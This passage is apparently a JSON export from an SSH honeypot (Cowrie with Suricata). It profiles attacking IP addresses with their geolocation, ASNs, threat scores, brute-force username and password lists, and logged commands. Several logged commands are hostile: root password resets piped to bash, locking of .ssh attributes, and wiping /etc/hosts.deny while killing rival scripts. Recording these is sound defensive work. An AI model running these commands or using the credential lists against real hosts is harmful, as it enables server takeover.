        "P@ssw0rd",
        "abc123",
        "abcdefg",
        "admin123",
        "andrew",
        "anton",
        "bin",
        "explorer",
        "george",
        "guest1",
        "helpdesk",
        "htpcguides",
        "joggler",
        "joro",
        "kim123",
        "library"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 274,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:33:06.399000+00:00",
        "last_seen_30d": "2026-03-02T02:50:08.967000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 82
      }
    },
    "171.237.176.209": {
      "attack_count": 183,
      "first_seen": "2026-03-11T17:08:33.709Z",
      "last_seen": "2026-03-11T17:42:16.227Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "francisco",
        "atlas",
        "ftpupload",
        "in",
        "n8n",
        "qbtuser",
        "rico",
        "satisfactory",
        "scan",
        "vas"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "atlas123",
        "inpass",
        "n8n",
        "qbtuser123!",
        "rico1234",
        "satisfactorypass",
        "vaspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nsvWuRxqxZpsh\\nsvWuRxqxZpsh\\n\"|passwd",
        "echo \"rico1234\\nWZmgF80CdCT3\\nWZmgF80CdCT3\\n\"|passwd",
        "echo -e \"123\\nsvWuRxqxZpsh\\nsvWuRxqxZpsh\"|passwd|bash",
        "echo -e \"rico1234\\nWZmgF80CdCT3\\nWZmgF80CdCT3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 38731,
      "as_org": "CHT Compamy Ltd",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T17:08:33.709000+00:00",
        "last_seen_30d": "2026-03-11T17:43:20.060000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 32
      }
    },
    "167.71.228.54": {
      "attack_count": 171,
      "first_seen": "2026-03-03T23:43:18.584Z",
      "last_seen": "2026-03-03T23:59:54.258Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123...",
        "Centos2025",
        "Jw123456",
        "Welcome2025",
        "asdf1234@",
        "khongnho",
        "p@ssW0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6xJqZMxGWUlV\"|chpasswd|bash",
        "echo \"root:lmRw5qZSG05h\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:43:18.584000+00:00",
        "last_seen_30d": "2026-03-04T00:00:54.527000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 171,
        "Suricata": 26
      }
    },
    "186.182.93.54": {
      "attack_count": 168,
      "first_seen": "2026-03-28T22:45:29.043Z",
      "last_seen": "2026-03-29T00:07:19.825Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "#EDC4rfv%TGB",
        "0p9o8i",
        "123456.0",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123123!",
        "ad@123456",
        "anyang",
        "changeme01",
        "concert",
        "hk123!@#",
        "look",
        "password123$",
        "plus",
        "qwe2025",
        "qwerty99",
        "redhat123!@#",
        "school1",
        "tes123",
        "w1234567"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:VsieDwbVVBC2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T22:45:29.043000+00:00",
        "last_seen_30d": "2026-03-29T00:08:27.347000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "170.64.195.17": {
      "attack_count": 137,
      "first_seen": "2026-03-11T13:09:46.338Z",
      "last_seen": "2026-03-11T13:33:59.468Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "backup"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "21",
        "321",
        "Pa$w0rd",
        "Pa$word",
        "Password",
        "admin12",
        "backup12",
        "pa$w0rd",
        "passw0rd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:09:46.338000+00:00",
        "last_seen_30d": "2026-03-11T13:35:06.608000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 137,
        "Suricata": 56
      }
    },
    "87.156.185.48": {
      "attack_count": 123,
      "first_seen": "2026-03-11T01:58:44.648Z",
      "last_seen": "2026-03-11T03:55:07.828Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "myadmin",
        "345gs5662d34",
        "clawd",
        "marek",
        "pp",
        "tigergraph",
        "webapp"
      ],
      "passwords_attempted": [
        "12345678",
        "123456aB",
        "1qaz!QAZ2wsx@WSX",
        "1qaz!qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "Myadmin123!",
        "marek1234",
        "pp2025",
        "welcome1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Myadmin123!\\nD4m3xj69cAxb\\nD4m3xj69cAxb\\n\"|passwd",
        "echo -e \"Myadmin123!\\nD4m3xj69cAxb\\nD4m3xj69cAxb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Lauta",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:58:44.648000+00:00",
        "last_seen_30d": "2026-03-11T03:56:08.880000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 37
      }
    },
    "165.154.227.158": {
      "attack_count": 119,
      "first_seen": "2026-03-08T18:50:58.660Z",
      "last_seen": "2026-03-08T19:13:39.711Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "user",
        "345gs5662d34",
        "ernesto",
        "mcuser",
        "nikhil",
        "odoo",
        "project",
        "root",
        "talha",
        "ttt",
        "xml"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "12345678",
        "1q2w3e",
        "3245gs5662d34",
        "345gs5662d34",
        "Ernesto123",
        "Mcuser123!",
        "Talha123",
        "a",
        "odoo@2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1q2w3e\\npKBhhfrh8aHI\\npKBhhfrh8aHI\\n\"|passwd",
        "echo -e \"1q2w3e\\npKBhhfrh8aHI\\npKBhhfrh8aHI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T18:50:58.660000+00:00",
        "last_seen_30d": "2026-03-08T19:14:46.760000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "43.155.21.198": {
      "attack_count": 119,
      "first_seen": "2026-03-14T15:18:18.428Z",
      "last_seen": "2026-03-14T15:37:56.008Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "syj",
        "345gs5662d34",
        "dls",
        "gitlab-runner",
        "ibrahim",
        "lek",
        "ljd",
        "pavel",
        "personal",
        "sa",
        "sklep"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Ibrahim123!",
        "Lek123",
        "dls1234",
        "ljd1234",
        "sklep123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nt7qkUVWRvbdt\\nt7qkUVWRvbdt\\n\"|passwd",
        "echo -e \"12345678\\nt7qkUVWRvbdt\\nt7qkUVWRvbdt\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T15:18:18.428000+00:00",
        "last_seen_30d": "2026-03-14T15:39:04.767000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "101.36.122.113": {
      "attack_count": 118,
      "first_seen": "2026-03-08T09:42:55.694Z",
      "last_seen": "2026-03-08T10:06:41.957Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elizabeth",
        "email",
        "gosha",
        "hanul",
        "king",
        "minioadmin",
        "root1",
        "sa",
        "student1"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Student1123!",
        "eve",
        "gosha123!",
        "hanul1234",
        "password",
        "sa1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lWjFkG0UDUXR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T09:42:55.694000+00:00",
        "last_seen_30d": "2026-03-08T10:07:44.446000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "165.232.182.25": {
      "attack_count": 115,
      "first_seen": "2026-03-15T15:50:08.259Z",
      "last_seen": "2026-03-15T16:09:54.529Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "backup"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "admin123",
        "password",
        "password1",
        "P@ssw0rd123",
        "abc123",
        "letmein",
        "root123",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T15:50:08.259000+00:00",
        "last_seen_30d": "2026-03-15T16:10:59.888000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 115,
        "Suricata": 49
      }
    },
    "170.64.137.150": {
      "attack_count": 103,
      "first_seen": "2026-03-05T23:44:12.227Z",
      "last_seen": "2026-03-05T23:59:43.958Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345",
        "root123456"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T23:44:12.227000+00:00",
        "last_seen_30d": "2026-03-06T00:00:50.173000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 41
      }
    },
    "27.79.2.227": {
      "attack_count": 102,
      "first_seen": "2026-03-15T22:23:31.346Z",
      "last_seen": "2026-03-15T22:31:40.956Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "config",
        "guest",
        "installer",
        "squid",
        "support",
        "system",
        "test",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "admin",
        "0l0ctyQh243O63uD",
        "123456",
        "@",
        "OkwKcECs8qJP2Z",
        "admin01",
        "admin@123",
        "config",
        "default",
        "guest",
        "installer",
        "password",
        "root",
        "root123",
        "squid",
        "support",
        "test",
        "ubnt",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T22:23:31.346000+00:00",
        "last_seen_30d": "2026-03-15T22:32:47.489000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 42
      }
    },
    "220.247.224.226": {
      "attack_count": 91,
      "first_seen": "2026-03-12T12:04:06.247Z",
      "last_seen": "2026-03-12T12:29:58.675Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clement",
        "n8n",
        "alex",
        "canon",
        "felix",
        "informatica",
        "nx",
        "odin",
        "root",
        "sami",
        "usuarioftp"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Yy123456.",
        "alex1234",
        "felix1234",
        "informaticapass",
        "n8n",
        "odin123",
        "sami1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Sri Lanka",
      "country_code": "LK",
      "city": "Colombo",
      "asn": 9329,
      "as_org": "Sri Lanka Telecom Internet",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T12:04:06.247000+00:00",
        "last_seen_30d": "2026-03-12T12:31:01.626000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 91,
        "Suricata": 35
      }
    },
    "203.86.233.224": {
      "attack_count": 72,
      "first_seen": "2026-03-16T16:43:59.063Z",
      "last_seen": "2026-03-16T17:03:52.126Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "www"
      ],
      "passwords_attempted": [
        "abc123456",
        "123321",
        "159357",
        "5201314",
        "8888888",
        "admin2015",
        "adminadmin",
        "system",
        "www2019"
      ],
      "commands_executed": [
        "< /dev/null"
      ],
      "event_types": [
        "cowrie.direct-tcpip.request",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.var",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 133380,
      "as_org": "Layerstack Limited",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 16,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 1,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T16:43:59.063000+00:00",
        "last_seen_30d": "2026-03-16T17:04:52.339000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 25
      }
    },
    "175.107.1.187": {
      "attack_count": 50,
      "first_seen": "2026-03-04T17:32:46.079Z",
      "last_seen": "2026-03-04T17:38:23.439Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:32:46.079000+00:00",
        "last_seen_30d": "2026-03-04T17:39:32.185000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.3.32": {
      "attack_count": 50,
      "first_seen": "2026-03-18T17:14:19.264Z",
      "last_seen": "2026-03-18T17:19:49.595Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.9,
